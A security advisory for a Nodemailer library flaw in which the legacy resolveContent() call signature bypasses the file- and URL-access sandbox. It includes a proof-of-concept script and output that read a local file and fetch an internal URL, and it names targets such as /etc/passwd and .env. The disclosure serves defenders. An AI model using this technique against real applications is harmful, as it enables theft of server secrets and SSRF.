---
id: GHSA-8m3c-c648-2xjj
title: >-
  Nodemailer: resolveContent() on a MailMessage bypasses
  disableFileAccess/disableUrlAccess when called with the legacy signature
summary: >-
  Nodemailer: resolveContent() on a MailMessage bypasses
  disableFileAccess/disableUrlAccess when called with the legacy signature
severity: medium
cvss: 5.9
cwe:
  - CWE-73
  - CWE-918
vendor: nodemailer
product: nodemailer
ecosystem: npm
affected:
  - nodemailer <= 9.1.0
patched:
  - nodemailer 9.1.1
published: '2026-09-08'
updated: '2026-09-08'
sourceUpdated: '2026-09-08T21:16:03Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-8m3c-c648-2xjj'
references:
  - url: >-
      https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj
  - url: >-
      https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b
  - url: >-
      https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474
  - url: 'https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1'
  - url: 'https://github.com/advisories/GHSA-8m3c-c648-2xjj'
tags:
  - ghsa
  - npm
ingestedAt: '2026-09-08T22:12:30.968Z'
---

## Overview

### Summary

Nodemailer's `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library's internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`.

When called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`).

A plugin or application code that resolves message content through the documented API (the same API the library's own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.

### Details

Root cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`):

```js
['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
    if (key in options) {
        this.data[key] = options[key];
    }
});
```

The public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`):

```js
resolveContent(...args) {
    return shared.resolveContent(...args);
}
```

`shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`):

```js
module.exports.resolveContent = (data, key, options, callback) => {
    // options is optional; support the legacy resolveContent(data, key, callback) signature
    if (!callback && typeof options === 'function') {
        callback = options;
        options = false;
    }
    options = options || {};
    ...
    resolveContentValue(data, key, options, callback);
```

`resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`).

Contrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is "useful when you want to create a plugin that needs a content value").

Affected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test).

### PoC

Requires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.

```js
'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');

const TARGET_FILE = '/app/src/package.json';   // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target

const transporter = nodemailer.createTransport({
    streamTransport: true,
    disableFileAccess: true,   // sandbox explicitly enabled
    disableUrlAccess: true
});

const data = {
    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',
    html: { path: TARGET_FILE },
    attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true

// Documented legacy plugin signature — options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('FILE_READ_OK len=', value.length);          // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('URL_FETCH_OK body=', body.toString());      // -> fetched response
});
```

Observed output on the audit environment (Node 22, `nodemailer@9.1.0`):

```text
mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n    \"name\": \"nodemailer\",\n    \"version\": \"9.1.0\",\n    \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"
```

The negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin calls `mail.resolveContent(mail.data, 'html', cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`.

### Impact

An application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed:

- Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message.
- Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host.

Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.

## Affected packages

- `nodemailer <= 9.1.0`

## Remediation

Upgrade to a patched release:

- `nodemailer 9.1.1`